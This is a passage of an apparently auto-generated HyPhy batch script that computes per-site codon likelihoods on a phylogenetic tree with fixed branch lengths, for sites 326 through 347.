ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"326\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 327...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"978,979,980\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 327\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"327\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 328...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"981,982,983\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 328\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"328\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 329...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"984,985,986\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 329\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"329\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 330...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"987,988,989\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 330\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"330\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 331...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"990,991,992\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 331\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"331\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 332...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"993,994,995\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 332\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"332\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 333...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"996,997,998\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 333\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"333\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 334...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"999,1000,1001\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 334\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"334\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 335...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1002,1003,1004\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 335\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"335\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 336...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1005,1006,1007\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 336\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"336\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 337...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1008,1009,1010\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 337\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"337\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 338...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1011,1012,1013\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 338\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"338\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 339...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1014,1015,1016\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 339\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"339\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 340...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1017,1018,1019\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 340\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"340\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 341...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1020,1021,1022\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 341\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"341\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 342...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1023,1024,1025\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 342\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"342\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 343...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1026,1027,1028\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 343\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"343\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 344...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1029,1030,1031\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 344\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"344\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 345...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1032,1033,1034\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 345\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"345\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 346...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1035,1036,1037\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 346\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"346\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 347...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1038,1039,1040\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 347\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + 